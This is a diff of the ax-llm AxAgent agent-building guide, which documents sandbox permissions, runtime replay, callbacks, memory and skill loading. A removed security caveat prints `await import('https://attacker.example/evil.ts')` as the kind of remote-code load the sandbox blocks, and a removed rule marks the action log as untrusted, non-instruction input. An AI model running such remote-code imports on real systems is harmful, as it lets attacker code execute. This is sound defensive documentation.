-- Final turns should call `await final(outputGenerationTask, context)` or `await askClarification(...)` without `console.log(...)`.
-- Do not write a complete multi-step program in one actor turn.
-- Do not re-declare or recompute values just because older turns are summarized; only rebuild after an explicit runtime restart or when you intentionally want a new value.
-- Do not assume older successful turns remain fully replayed; adaptive or lean policies may collapse them into a `Checkpoint Summary` block or compact action summaries.
-
-Small reuse example:
-
-Turn 1:
-
-```javascript
-const customers = await kb.findCustomers({ segment: 'active' });
-console.log(customers.length);
-```
-
-Turn 2:
-
-```javascript
-const topCustomers = customers.slice(0, 3);
-console.log(topCustomers);
-```
-
-Reason: turn 2 reuses `customers` from the persistent runtime. `Live Runtime State` or summaries may change how turn 1 is shown in the prompt, but they do not remove the value from the runtime session.
-
-## AxJSRuntime Security
-
-Default `new AxJSRuntime()` is hardened: no network, no fs, no child_process, `import()` blocked, intrinsics frozen, `ShadowRealm` locked to `undefined`, worker IPC locked in browser/Deno/Bun, Bun workers use `smol: true`, and on Node 20+ the OS Permission Model auto-engages (using `--permission` on Node 23.5+ or `--experimental-permission` on Node 20–23.4) as a second defense layer. You do not need to configure anything to get the strict profile — opt in only to the capability the user actually asked for.
-
-**Permission enum** (`AxJSRuntimePermission`):
-`NETWORK`, `STORAGE`, `CODE_LOADING`, `COMMUNICATION`, `TIMING`, `WORKERS`, `FILESYSTEM` (new), `CHILD_PROCESS` (new).
-
-**Options quick reference** (all defaults shown are secure):
-
-| Option | Default | Effect |
-|---|---|---|
-| `blockDynamicImport` | `true` | Blocks `import()` + Function/eval constructor shims. |
-| `allowedModules` | `[]` | Whitelist of specifiers permitted when `blockDynamicImport` is on. |
-| `freezeIntrinsics` | `true` | Freezes `Object`/`Array`/`Promise`/etc. prototypes. |
-| `blockShadowRealm` | `true` | Locks `globalThis.ShadowRealm` to `undefined`. |
-| `lockWorkerIPC` | `true` | Locks `self.postMessage`/`onmessage` in browser/Deno/Bun workers. |
-| `preventGlobalThisExtensions` | `false` | Opt-in; breaks top-level `var/let/const` persistence across turns. |
-| `useNodePermissionModel` | `'auto'` | Engages Node Permission Model on Node 20+ (`--permission` on 23.5+, `--experimental-permission` on 20–23.4); skips on Bun, Deno, browsers, and older Node. |
-| `nodePermissionAllowlist` | `undefined` | Fine-grained `{ fsRead, fsWrite, childProcess, addons, wasi }`. |
-| `resourceLimits` | `undefined` | `{ maxOldGenerationSizeMb, maxYoungGenerationSizeMb, codeRangeSizeMb, stackSizeMb }`. |
-| `allowDenoRemoteImport` | `false` | On Deno, controls whether `NETWORK` also grants remote module loading. |
-| `allowUnsafeNodeHostAccess` | `false` | Exposes `process`/`require` in Node — trusted-code only. |
-
-**Recipes:**
-
-Maximum security (default):
-```ts
-new AxJSRuntime();
-```
-
-Allow fetch only:
-```ts
-new AxJSRuntime({ permissions: [AxJSRuntimePermission.NETWORK] });
-```
-
-Allow fs scoped to one directory:
-```ts
-new AxJSRuntime({
-  permissions: [AxJSRuntimePermission.FILESYSTEM],
-  allowedModules: ['node:fs', 'node:fs/promises', 'node:path'],
-  useNodePermissionModel: 'auto',
-  nodePermissionAllowlist: {
-    fsRead: ['/app/data'],
-    fsWrite: ['/app/data'],
-  },
-});
-```
-
-Trust the code (explicit opt-out of every layer):
-```ts
-new AxJSRuntime({
-  permissions: Object.values(AxJSRuntimePermission),
-  allowUnsafeNodeHostAccess: true,
-  blockDynamicImport: false,
-  blockShadowRealm: false,
-  freezeIntrinsics: false,
-  lockWorkerIPC: false,
-  useNodePermissionModel: false,
-});
-```
-
-**Rules for the LLM author:**
-
-- Default to `new AxJSRuntime()` with no options unless the user asked for a specific capability.
-- When the user asks for `fetch`, add `permissions: [AxJSRuntimePermission.NETWORK]` — do not disable `blockDynamicImport` as a workaround.
-- When the user asks for `fs`, add both `permissions: [AxJSRuntimePermission.FILESYSTEM]` AND `allowedModules: ['node:fs', 'node:fs/promises', 'node:path']`. Scope with `nodePermissionAllowlist` when the user names a directory.
-- Do not disable `freezeIntrinsics`, `blockShadowRealm`, or `lockWorkerIPC` unless the user explicitly asks — these do not trade off against any legitimate RLM use case.
-- Treat `allowUnsafeNodeHostAccess: true` as a red flag; only use it when the user is authoring trusted code in their own process.
-- `preventGlobalThisExtensions: true` breaks top-level `var/let/const` persistence across turns — never set it for stdout-mode RLM where persistence is load-bearing (see `RLM Actor Code Rules`).
-
-**Deno caveat:** `blockDynamicImport` is a no-op in Deno (no `node:vm`); the defense there is the worker permission sandbox applied by default. When `NETWORK` is granted on Deno, `import` is set to `false` by default so `await import('https://attacker.example/evil.ts')` is blocked at the runtime level — pass `allowDenoRemoteImport: true` only if remote module loading is genuinely required.
-
-## RLM Test Harness
-
-Use `agent.test(code, contextFieldValues?, options?)` when the user wants to validate JavaScript snippets against the actual AxAgent runtime environment without running the full Actor/Responder loop.
-
-```typescript
-import { AxJSRuntime, agent, f, fn } from '@ax-llm/ax';
-
-const runtime = new AxJSRuntime();
-
-const tools = [
-  fn('sum')
-    .description('Return the sum of the provided numeric values')
-    .namespace('math')
-    .arg('values', f.number('Value to add').array())
-    .returns(f.number('Sum of all values'))
-    .handler(async ({ values }) =>
-      values.reduce((total, value) => total + value, 0)
-    )
-    .build(),
-];
-
-const contextHarness = agent('label:string, values:number[] -> answer:string', {
-  contextFields: ['label', 'values'],
-  runtime,
-  contextPolicy: { preset: 'checkpointed', budget: 'balanced' },
-});
-
-const contextOutput = await contextHarness.test(
-  [
-    'const total = values.reduce((sum, value) => sum + value, 0);',
-    'console.log(`${label}: ${total}`)',
-  ].join('\n'),
-  { label: 'sum the values', values: [3, 5, 8] }
-);
-
-const toolHarness = agent('query:string -> answer:string', {
-  contextFields: [],
-  runtime,
-  functions: tools,
-  contextPolicy: { preset: 'checkpointed', budget: 'balanced' },
-});
-
-const toolOutput = await toolHarness.test(
-  'console.log(await math.sum({ values: [3, 5, 8] }))'
-);
-
-console.log(contextOutput);
-console.log(toolOutput);
-```
-
-Rules:
-
-- `test(...)` creates a fresh runtime session per call.
-- Context-field snippets run in the context/distiller runtime and expose `inputs` plus non-colliding top-level aliases for configured `contextFields`.
-- Tool snippets should use an agent with no `contextFields`, or test the executor stage directly, so namespaced functions, child agents, and `llmQuery` are in scope.
-- In `AxJSRuntime`, do not rely on calling `inspectRuntime()` from inside `test(...)` snippets yet; prefer checking runtime globals directly inside the snippet.
-- It returns the formatted runtime output string.
-- It throws on runtime failures instead of returning LLM-style error strings.
-- Do not call `final(...)` or `askClarification(...)` inside `test(...)` snippets.
-- Pass only `contextFields` values to `test(...)`; it is not a general way to inject arbitrary non-context inputs.
-- If the snippet uses `llmQuery(...)`, provide an AI service through the agent config or `options.ai`.
-
-## RLM Adaptive Replay
-
-Prefer this configuration for long, multi-turn runtime analysis:
-
-```typescript
-const analyst = agent(
-  'context:string, question:string -> answer:string, findings:string[]',
-  {
-    contextFields: ['context'],
-    runtime: new AxJSRuntime(),
-    maxTurns: 10,
-    contextPolicy: {
-      preset: 'adaptive',
-      budget: 'balanced',
-    },
-  }
-);
-```
-
-Rules:
-
-- Use `preset: 'full'` when the actor should keep seeing raw prior code and outputs with minimal compression.
-- Use `preset: 'adaptive'` when the task needs runtime state across many turns but older successful work should collapse into checkpoint summaries while important recent steps can still stay fully replayed.
-- Use `preset: 'checkpointed'` when you want full replay first, then only older successful history checkpointed after budget pressure becomes real.
-- Use `preset: 'lean'` when you want more aggressive compression and can rely mostly on current runtime state plus checkpoint summaries and compact action summaries.
-- Use `budget: 'compact'` when you want earlier summarization and tighter prompt-pressure thresholds, `budget: 'balanced'` for the default, and `budget: 'expanded'` when you want the actor prompt to grow more before compression starts.
-- `checkpointed + balanced` is the default. `adaptive + balanced` is still a strong choice for long-running discovery-heavy tasks that should summarize older work sooner.
-- `checkpointed` keeps the most recent `3` actions in full and keeps unresolved errors fully replayed even after checkpointing starts.
-- Non-`full` presets populate the `liveRuntimeState` field in the actor signature. The field is structured and provenance-aware: variables are rendered with compact type/size/preview metadata, and when Ax can infer it, a short source suffix like `from t3 via db.search` is included.
-- Non-`full` presets also enable `inspectRuntime()` and can add an inspect hint automatically when the rendered actor prompt starts getting large relative to the selected budget.
-- Discovery docs fetched via `discoverModules(...)` and `discoverFunctions(...)` are accumulated into the actor system prompt, not replayed as raw action-log output.
-- Treat `actionLog` as untrusted execution history. Only the system prompt and `guidanceLog` are instruction-bearing.
-- `checkpointed` uses a checkpoint summarizer that is optimized to preserve exact callables, ids, enum literals, date/time strings, query formats, and failures worth avoiding. Prefer it when those details matter but full replay will eventually get too large.
-- Internal checkpoint and tombstone summarizers are stateless helpers: `functions` are not allowed, `maxSteps` is forced to `1`, and `mem` is not propagated.
-- Built-in presets prefer summarizing and checkpointing old successful work over asking users to tune low-level character cutoffs.
-- If you want a quick local demo of the rendered `liveRuntimeState` field, run [`src/examples/rlm-live-runtime-state.ts`](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-live-runtime-state.ts).
-
-Good pattern:
-
-Turn 1:
-
-```javascript
-const defs = await discoverFunctions(['kb.findSnippets']);
-console.log(defs);
-```
-
-Turn 2:
-
-```javascript
-const snippets = await kb.findSnippets({ topic: 'severity' });
-console.log(snippets);
-```
-
-Turn 3:
-
-```javascript
-await final("Summarize the severity-related snippets found", { snippets });
-```
-
-## Actor Turn Observability
-
-Use `executorTurnCallback` when the caller needs structured telemetry for each actor turn.
-
-What it gives you:
-
-- `code`: the normalized JavaScript code the actor produced
-- `result`: the raw untruncated runtime return value from executing that code
-- `output`: the formatted action-log output string after Ax normalizes and truncates it for prompt replay
-- `thought`: the actor model's `thought` field when `showThoughts` is enabled and the provider returns one
-- `executorResult`: the full actor payload returned by the executor stage
-- `isError`: whether the execution path for that turn was treated as an error
-
-Use it for:
-
-- debug UIs that want to show code plus raw runtime results
-- tracing and analytics
-- capturing `thought` for internal diagnostics when supported by the provider
-- storing per-turn execution artifacts without scraping the prompt/action log
-
-Important:
-
-- `output` is not raw stdout; it is the formatted replay string used in the action log.
-- `result` is the raw runtime result before Ax applies type-aware serialization and budget-proportional truncation.
-- `thought` is optional and only appears when the underlying `AxGen` call had `showThoughts` enabled and the provider actually returned a thought field.
-- `actionLogEntryCount` and `guidanceLogEntryCount` reflect the live log sizes after the turn is processed, including resumed runs.
-
-Good pattern:
-
-```typescript
-const supportAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  executorTurnCallback: ({
-    turn,
-    actionLogEntryCount,
-    guidanceLogEntryCount,
-    code,
-    result,
-    output,
-    thought,
-    isError,
-  }) => {
-    console.log({
-      turn,
-      actionLogEntryCount,
-      guidanceLogEntryCount,
-      isError,
-      code,
-      rawResult: result,
-      replayOutput: output,
-      thought,
-    });
-  },
-  executorOptions: {
-    model: 'gpt-5.4-mini',
-    showThoughts: true,
-  },
-});
-```
-
-## Context Event Observability
+Discovery API:
 
-Use `onContextEvent` when the caller needs structured telemetry about prompt pressure and compaction. It does not change model behavior directly; it is for logs, evals, and dashboards.
+- `await discover(item: string): void`
+- `await discover(items: string[]): void`
+- `await discover({ tools?: string | string[], skills?: string | string[] }): void` when `onSkillsSearch` is configured
 
-Events:
-
-- `budget_check`: character-based prompt pressure before an actor turn, with detailed metrics kept out of the actor prompt.
-- `checkpoint_created` / `checkpoint_cleared`: checkpoint lifecycle events with covered turns and reason.
-- `tombstone_created`: compact resolved-error summary creation.
+Discovery returns `void`; fetched docs render in the next executor prompt.
 
 Rules:
 
-- `contextPressure` in the actor prompt is intentionally compact (`ok`, `watch`, `critical` plus one short instruction).
-- Budget metrics are character-based for provider neutrality and are exposed through `onContextEvent`, not the actor prompt.
-- Callback errors are swallowed so telemetry cannot break the agent run.
-
-```typescript
-const supportAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  contextPolicy: { preset: 'checkpointed', budget: 'balanced' },
-  onContextEvent: (event) => {
-    if (event.kind === 'budget_check') {
-      console.log(event.pressure, event.mutablePromptChars);
-    }
-  },
-});
-```
-
-## Agent Status Callback
-
-Use `agentStatusCallback` when the caller wants real-time progress updates from the actor. When set, the actor can call `await reportSuccess(message)` and `await reportFailure(message)` in its JavaScript turns.
-
-```typescript
-const supportAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  agentStatusCallback: (message, status) => {
-    console.log(`[${status}] ${message}`);
-  },
-});
-```
-
-Rules:
-
-- `agentStatusCallback` receives `(message: string, status: 'success' | 'failed')`.
-- When set, the actor prompt automatically includes `reportSuccess(message)` and `reportFailure(message)` as available runtime functions.
-- The actor is instructed to keep the user updated of task progress.
-- `reportSuccess` and `reportFailure` are reserved runtime names when the callback is configured.
-- Child agents inherit the callback via the rlm config.
-
-## On Function Call
-
-Use `onFunctionCall` when the caller wants to observe every function call the actor makes from the JS runtime. Fires before the underlying function runs.
-
-```typescript
-const supportAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  functions: [helperAgent, { name: 'lookupOrder', namespace: 'tools', /* ... */ }],
-  onFunctionCall: ({ name, qualifiedName, args, kind }) => {
-    console.log(`[${kind}] ${qualifiedName}`, args);
-  },
-});
-```
-
-Rules:
-
-- Receives `{ name, qualifiedName, args, kind }` where:
-  - `name` is the bare function name (e.g. `'lookupOrder'`).
-  - `qualifiedName` is the namespaced name as the actor sees it (e.g. `'tools.lookupOrder'`); for un-namespaced runtime globals it equals `name`.
-  - `args` is the resolved positional/named arguments object (`Record<string, unknown>`).
-  - `kind` is `'external'` for caller-registered `functions`, `'internal'` for agent-injected globals: child `agents`, `discoverModules`, `discoverFunctions` (when `functionDiscovery: true`), and `consult` (when `onSkillsSearch` is set).
-- Fires once per call, before the function executes. Errors thrown inside the callback are swallowed so they cannot break the actor loop.
-- Independent from the DSP-layer `onFunctionCall` on `AxProgramForwardOptions` — that hook is for LLM tool-calls and never fires under AxAgent (the agent injects functions as runtime globals, not as LLM tools).
-
-## Memory Search
+- `discover('kb')` loads a module callable list when `kb` is a discoverable module.
+- `discover('kb.findSnippets')` loads a full callable definition.
+- `discover('lookup')` resolves as `utils.lookup`.
+- `discover({ tools: ['kb'], skills: ['release-checklist'] })` loads tool docs and skill bodies in one turn.
+- Call one batched `discover(...)` with every module, callable, and skill you need.
+- Do not split discovery into separate calls or wrap discovery in `Promise.all(...)`.
+- Read the next prompt's "Discovered Tool Docs" and "Loaded Skills" sections.
+- If a guessed call fails, stop guessing nearby names. Run `discover(...)` for that module or function and call only the exact discovered qualified name.
 
-Use `onMemoriesSearch` when the agent needs to pull task-relevant context — user preferences, prior decisions, project facts, past conversations — from an external store (vector DB, BM25, KV) instead of stuffing everything into the prompt upfront. The actor decides what to load, when, and how much.
-
-When `onMemoriesSearch` is set, the distiller and executor stages gain:
-
-1. An `inputs.memories` field — an array of `{ id, content }` entries the actor reads directly. Each `content` is opaque markdown (frontmatter, if any, is not parsed).
-2. A `recall(searches: string[]): void` global the actor `await`s to load more entries. Recalled entries are appended to `inputs.memories` and visible from the next turn onward — similar to how `guidance` accumulates. **`recall()` returns nothing**; read `inputs.memories` next turn to see what landed.
-
-The responder stage does not receive memories.
-
-### Enabling
-
-```typescript
-import { agent } from '@ax-llm/ax';
-import type { AxAgentMemoriesSearchFn } from '@ax-llm/ax';
-
-// Each result must be { id: string; content: string }
-const onMemoriesSearch: AxAgentMemoriesSearchFn = async (
-  searches,
-  alreadyLoaded
-) => {
-  // `searches` is the full array passed to recall(...) — batch your
-  // store lookup in one round-trip.
-  // `alreadyLoaded` is the snapshot of `inputs.memories` already in
-  // scope. Filter your results so you don't refetch what's already
-  // loaded (the runtime dedupes by id, but skipping here saves a
-  // round-trip and avoids charging the actor for duplicate tokens).
-  const skip = new Set(alreadyLoaded.map((m) => m.id));
-  const fresh = await myVectorDB.searchBatch(searches, { topK: 3 });
-  return fresh.filter((m) => !skip.has(m.id));
-};
-
-const myAgent = agent({
-  // ...
-  onMemoriesSearch,
-});
-```
-
-### Actor usage (distiller or executor code)
-
-```javascript
-// Turn 1: kick off a batched lookup. Pass all queries in one call —
-// don't loop or use Promise.all (the runtime rejects that as a policy
-// violation; your callback should fan out internally).
-await recall(['user preferences', 'project constraints']);
-
-// Turn 2+: matched entries are now visible on `inputs.memories`.
-const prefs = inputs.memories.find(m => m.id === 'user-prefs-v2');
-```
-
-### Behaviour
-
-- `recall()` invokes `onMemoriesSearch` with `(searches, alreadyLoaded)` and returns `void`. `alreadyLoaded` is the current `inputs.memories` snapshot — filter your store results against it to skip duplicates. Results land on `inputs.memories` for subsequent turns.
-- Entries are **deduped by `id`** (last-write-wins) and **sorted by `id`** for prefix-cache stability.
-- Memories loaded by the distiller **thread automatically to the executor** — no second `recall()` needed for those entries.
-- `recall()` may be called multiple times per turn; results accumulate. The merge dedupes against existing entries, so re-running the same search is cheap.
-- **Lifetime is one `.forward()` call.** `inputs.memories` resets between calls. To carry memories across calls, persist them in your store and recall them again on the next call.
-
-### Child agents
-
-Child agents do **not** inherit `onMemoriesSearch` automatically. If a recursive `llmQuery` advanced child or a registered child agent should also have `recall()`, set `onMemoriesSearch` on that agent's options explicitly.
-
-### Carrying memories across `.forward()` calls
-
-`inputs.memories` resets between runs. To preserve continuity across calls, observe loads with `onUsedMemories` and replay them on the next call's first `recall()` (or via your store):
-
-```typescript
-const carried = new Map<string, string>();
-
-const myAgent = agent({
-  // ...
-  onMemoriesSearch: async (searches) => {
-    const fresh = await myVectorDB.searchBatch(searches, { topK: 3 });
-    // Re-surface anything that landed on prior runs so the actor sees it
-    // alongside fresh matches.
-    const carriedAsResults = [...carried.entries()].map(([id, content]) => ({
-      id,
-      content,
-    }));
-    return [...carriedAsResults, ...fresh];
-  },
-  onUsedMemories: (results) => {
-    for (const r of results) carried.set(r.id, r.content);
-  },
-});
-```
-
-## Skills Search
-
-Use `onSkillsSearch` when the agent needs to load skill guides — usage instructions, runbooks, domain conventions — into the executor's system prompt on demand. The actor decides which skills to fetch and when, so you don't pre-render every skill into every prompt.
-
-When `onSkillsSearch` is set, the executor stage gains:
-
-1. A "Loaded Skills" section in the system prompt that renders matched skill bodies (sorted by `name`).
-2. A `consult(searches: string[]): void` global the actor `await`s to load more skills. Loaded entries appear in the next turn's prompt — `consult()` itself returns nothing.
-
-The distiller and responder do not see skills. Only the executor.
-
-### Enabling
-
-```typescript
-import { agent } from '@ax-llm/ax';
-import type { AxAgentSkillsSearchFn } from '@ax-llm/ax';
-
-// Each result must be { name: string; content: string }
-const onSkillsSearch: AxAgentSkillsSearchFn = async (searches) => {
-  return mySkillStore.searchBatch(searches, { topK: 2 });
-};
-
-const myAgent = agent({
-  // ...
-  onSkillsSearch,
-});
-```
-
-### Actor usage (executor code only)
-
-```javascript
-// Pass all queries in one call — don't loop or use Promise.all (the
-// runtime rejects that as a policy violation; your callback should
-// fan out internally).
-await consult(['release-checklist', 'incident-response']);
-
-// Next turn: the loaded skill bodies render under the "Loaded Skills"
-// system-prompt section, ready to apply directly.
-```
-
-### Behaviour
-
-- `consult()` invokes `onSkillsSearch` with the raw search strings and returns `void`. Matched skills land under "Loaded Skills" for the next turn.
-- Entries are deduped by `name` (last-write-wins) and sorted by `name` for prefix-cache stability.
-- **Skills persist on the agent's `currentSkillsPromptState` across `.forward()` calls** (unlike memories). Use `agent.getState()` / `setState(...)` to serialize/restore.
-- `consult()` may be called multiple times; results accumulate.
-- Child agents do **not** inherit `onSkillsSearch` — wire it explicitly per agent.
-
-### Preloading Skills (`skills` option)
-
-If the caller already knows which skills are relevant, pass them up-front instead of round-tripping through `consult()`:
-
-- **Init-time** — `skills` on `AxAgentOptions` (constructor) seeds the executor's prompt at agent creation. They survive `setState(...)` resets, so they're always present from turn 1.
-- **Forward-time** — `skills` on the `forward(ai, values, { skills })` options merge in at the start of that call (executor stage only — distiller and responder ignore it).
-
-Both accept the same shape `onSkillsSearch` returns: `readonly AxAgentSkillResult[]` (`{ name, content }[]`). Forward overrides init by `name` (same `Map.set` semantics as runtime-loaded skills). `onUsedSkills` is **not** fired for preset skills — that callback is for runtime `consult(...)` analytics.
-
-```ts
-const agent = new AxAgent(
-  { signature: '...', agentIdentity: { name: 'release-bot', namespace: 'utils' } },
-  { skills: [{ name: 'release-checklist', content: '...' }] }
-);
-
-await agent.forward(ai, values, {
-  // overrides any same-named init skill, layers on top of runtime consult() loads
-  skills: [{ name: 'incident-response', content: '...' }],
-});
-```
-
-You can use `skills` without setting `onSkillsSearch` at all — handy for static guides where the actor never needs to fetch more.
-
-## Option Layout
-
-Use these top-level controls consistently:
-
-- `mode`: controls whether `llmQuery(...)` stays simple or delegates to recursive child agents in advanced mode
-- `recursionOptions.maxDepth`: limits recursive `llmQuery(...)` depth
-- `maxSubAgentCalls`: shared delegated-call budget across the whole run, including recursive children (default: 100)
-- `maxRuntimeChars`: runtime/output truncation ceiling for console logs, tool results, and interpreter output replay. The actual limit is computed dynamically each turn based on remaining context budget (see **Dynamic Output Truncation** below)
-- `summarizerOptions`: default model/options for the internal checkpoint summarizer
-- `contextOptions`: distiller-stage forward options (description, model, maxTurns, etc.). One of three peer stage-config bags.
-- `executorOptions`: executor-stage forward options such as `description`, `model`, `modelConfig`, `thinkingTokenBudget`, and `showThoughts`
-- `executorModelPolicy`: executor-only model override rules based on consecutive error turns or discovery fetches from listed namespaces
-- `responderOptions`: responder-stage forward options
-- `agentStatusCallback`: real-time progress updates from actor via `reportSuccess(message)` and `reportFailure(message)`
-- `onFunctionCall`: observe every runtime function call (`{ name, qualifiedName, args, kind: 'internal' | 'external' }`)
-- `judgeOptions`: built-in judge options for `agent.optimize(...)`; for tuning workflows use the `ax-agent-optimize` skill
-- `bubbleErrors`: error classes that propagate out of function handlers, actor code, and llmQuery sub-agents directly to `.forward()` instead of being caught and returned as `[ERROR]` strings
+## Threading Parent Fields Into Child Agents
 
-Canonical shape:
+If a child agent requires a parent field such as `audience`, declare it on the child's signature and pass it explicitly when calling the child from the actor:
 
 ```typescript
-const researchAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  mode: 'advanced',
-  recursionOptions: {
-    maxDepth: 2,
-  },
-  maxRuntimeChars: 3000,
-  summarizerOptions: {
-    model: 'gpt-5.4-mini',
-    modelConfig: { temperature: 0.1, maxTokens: 180 },
-  },
-  contextPolicy: {
-    preset: 'checkpointed',
-    budget: 'balanced',
-  },
-  contextOptions: {
-    model: 'gpt-5.4-mini',
-    maxTurns: 3,
-  },
-  executorOptions: {
-    description: 'Use tools first and keep JS steps small.',
-    model: 'gpt-5.4-mini',
-  },
-  executorModelPolicy: [
-    {
-      model: 'gpt-5.4',
-      aboveErrorTurns: 2,
-      namespaces: ['db', 'kb'],
-    },
-  ],
-  responderOptions: {
-    model: 'gpt-5.4-mini',
+const writingCoach = agent('draft:string, audience:string -> revision:string', {
+  agentIdentity: {
+    name: 'Writing Coach',
+    description: 'Polishes summaries for a target audience',
+    namespace: 'team',
   },
+  contextFields: [],
 });
-```
-
-Semantics:
-
-- `mode` stays top-level; there is no `recursionOptions.mode`.
-- `maxRuntimeChars` sets the truncation ceiling and is separate from `contextPolicy.budget`. The effective limit per turn is computed dynamically (see below).
-- `summarizerOptions` tunes only the internal checkpoint summarizer. It does not change actor or responder model selection.
-- The current merged actor model stays the default base model. `executorModelPolicy` only overrides it when a rule matches.
-- `executorModelPolicy` only switches the actor model. It does not change `responderOptions.model`.
-- Recursive child agents can inherit `executorModelPolicy`; use a child override only when that child needs different routing behavior.
-- `executorModelPolicy` entries are ordered from weaker to stronger. If multiple rules match, the last matching entry wins.
-- If one entry also defines `namespaces`, any successful `discoverFunctions(...)` fetch from one of those namespaces marks the rule as matched starting on the next actor turn.
-
-When choosing these options for a user:
-
-- Do not add `mode: 'advanced'` just because recursion exists as a feature. Add it only when delegated children need their own tool/discovery/runtime loop.
-- Do not add `recursionOptions` at all if the user does not need recursive delegation.
-- Do not add `judgeOptions` in normal agent examples; reserve that for optimize/eval workflows.
-- Keep `executorOptions` focused on actor-only forward concerns such as `description`, `model`, `modelConfig`, `thinkingTokenBudget`, and `showThoughts`.
-- Use `executorModelPolicy` when the actor is the bottleneck and you want the responder to stay fixed.
-
-## Dynamic Output Truncation
-
-Runtime output truncation is **budget-proportional** and **type-aware**:
-
-**Budget-proportional sizing**: The effective truncation limit scales with remaining context budget. Early turns (empty action log) use the full `maxRuntimeChars` ceiling. As the action log fills toward `targetPromptChars`, the limit decays linearly down to 15% of the ceiling, hard-floored at 400 chars. This means early turns preserve more output detail while later turns conserve context for reasoning.
-
-**Type-aware serialization**: Non-string runtime output is serialized with structural awareness before the char-budget truncation pass:
-
-- **Large arrays** (>10 items): first 3 + last 2 items are kept; middle items replaced with `... [N hidden items]`.
-- **Deep objects** (>3 levels): nested values beyond depth 3 replaced with `[Object]` or `[Array(N)]`.
-- **Error stack traces**: first 3 + last 1 stack frames kept; middle frames replaced with `... [N frames hidden]`.
-- **Simple values**: standard `JSON.stringify` passthrough.
-
-This means the actor sees structurally informative output even when the char budget is tight, rather than a blindly head-truncated string.
 
-Users do not need to configure this behavior — it is automatic. `maxRuntimeChars` sets the upper bound; the dynamic system only ever reduces, never exceeds it.
-
-## Stage Prompt Controls
-
-The pipeline has three peer stage-config bags: `contextOptions` (distiller), `executorOptions` (executor), `responderOptions` (responder). Each accepts the same shape: `description`, `model`, `modelConfig`, `excludeFields`, plus other forward options.
-
-Key fields:
-
-- `contextOptions.description`: append extra distiller-specific instructions; useful for telling the distiller about domain conventions for narrowing context.
-- `executorOptions.description`: append extra executor-specific instructions; the typical place for tool-use guidance.
-- `responderOptions.description`: append extra responder-specific instructions; useful for output-formatting rules.
-- `contextOptions.model` / `executorOptions.model` / `responderOptions.model`: split model choice across the three stages.
-- `executorModelPolicy`: auto-switch only the executor when the run is on a consecutive error streak or discovery fetches land in specific namespaces.
-
-Good split-model pattern:
-
-```typescript
-const researchAgent = agent('query:string -> answer:string', {
-  contextFields: ['query'],
-  runtime,
-  contextPolicy: { preset: 'checkpointed', budget: 'balanced' },
-  executorOptions: {
-    model: 'gpt-5.4',
-  },
-  responderOptions: {
-    model: 'gpt-5.4-mini',
-  },
+const analyst = agent('context:string, audience:string, query:string -> answer:string', {
+  functions: [writingCoach],
+  contextFields: ['context'],
 });
 ```
 
-Model guidance:
-
-- Put the stronger model on the actor when the task depends on multi-turn exploration, discovery, runtime state reuse, or compressed replay.
-- Put the stronger model on the responder only when the hard part is final synthesis/formatting rather than exploration.
-- For cost-sensitive setups, a common pattern is stronger actor + cheaper responder, not the other way around.
-- Prefer `executorModelPolicy` over globally upgrading the whole agent when the actor only needs help after context grows or the run starts thrashing.
-- Pair `contextPolicy: { preset: 'checkpointed', budget: 'balanced' }` with `executorModelPolicy` when you want full replay first and actor-only upgrades triggered by errors or discovered tool domains.
-
-Invalid pattern:
-
-```javascript
-const defs = await discoverFunctions(['kb.findSnippets']);
-console.log(defs);
-const snippets = await kb.findSnippets({ topic: 'severity' });
-await final("Summarize severity findings", { snippets });
-```
-
-Reason: this mixes observation and follow-up work in one turn.
-
-## Threading Parent Fields Into Child Agents
-
-If a child agent requires a parent field such as `audience`, declare it on the child's signature and pass it explicitly when calling the child from the actor:
-
-```typescript
-const writingCoach = agent(
-  'draft:string, audience:string -> revision:string',
-  {
-    agentIdentity: {
-      name: 'Writing Coach',
-      description: 'Polishes summaries for a target audience',
-      namespace: 'team',
-    },
-    contextFields: [],
-  }
-);
-
-const analyst = agent(
-  'context:string, audience:string, query:string -> answer:string',
-  {
-    functions: [writingCoach],
-    contextFields: ['context'],
-  }
-);
-```
-
-Generated runtime call (note: namespace comes from the child's `agentIdentity.namespace`; falls back to `utils` if unset):
+Generated runtime call:
 
 ```javascript
 const polished = await team.writingCoach({
@@ -1292,158 +454,29 @@ const polished = await team.writingCoach({
 
 Rules:
 
-- Pass parent fields explicitly via the call site — `inputs.<field>`.
+- Pass parent fields explicitly via the call site.
 - If many children need the same field on every call, use `inputUpdateCallback` to inject the value before each executor turn.
-- Do not assume any auto-propagation: child agents receive only the args the actor passes.
+- Do not assume auto-propagation; child agents receive only the args the actor passes.
 
-## Grouped Function Modules
+## Core API Reference
 
-For discovery mode, you can group functions into modules using the `AxAgentFunctionGroup` shape — handy when you want a clean `kb.find(...)`, `metrics.score(...)` namespace tree without setting `namespace` on every individual `fn(...)`:
+Factory shape:
 
 ```typescript
-const parent = agent('query:string -> answer:string', {
-  functions: [
-    {
-      namespace: 'kb',
-      description: 'Knowledge base lookups',
-      functions: [findSnippetsFn, searchPagesFn],
-    },
-    {
-      namespace: 'metrics',
-      description: 'Scoring and coverage helpers',
-      functions: [scoreCoverageFn],
-    },
-  ],
-  functionDiscovery: true,
-  contextFields: [],
+agent(signature, {
+  ai,
+  judgeAI,
+  agentIdentity,
+  contextFields,
+  functions,
+  functionDiscovery,
+  ...agentOptions,
 });
 ```
 
-Rules:
-
-- A group is `{ namespace, description, functions: [...] }`. The group's `namespace` and `description` show up in `discoverModules(...)` markdown.
-- Mix groups and ungrouped entries freely in `functions: [...]` — child agents and `fn(...)` tools sit alongside group entries.
-- There is no `local` / `shared` / `globallyShared` propagation. Each agent owns its own `functions: [...]`; pass shared tools to children explicitly.
-
-## Tuning Hand-off
-
-When the user wants `agent.optimize(...)`, judge configuration, eval datasets, saved optimization artifacts, or recursive optimization guidance, use the `ax-agent-optimize` skill.
-
-Keep this skill focused on building and running agents. For tuning work:
-
-- use eval-safe tools or in-memory mocks
-- treat `judgeOptions` as part of the optimize workflow
-- choose a deterministic `metric` when scoring is objective; use the built-in judge only when run quality needs qualitative review
-- keep runtime authoring guidance here and optimization guidance in `ax-agent-optimize`
-
-## `llmQuery(...)` Rules
-
-Available forms:
-
-- `await llmQuery(query, context?)`
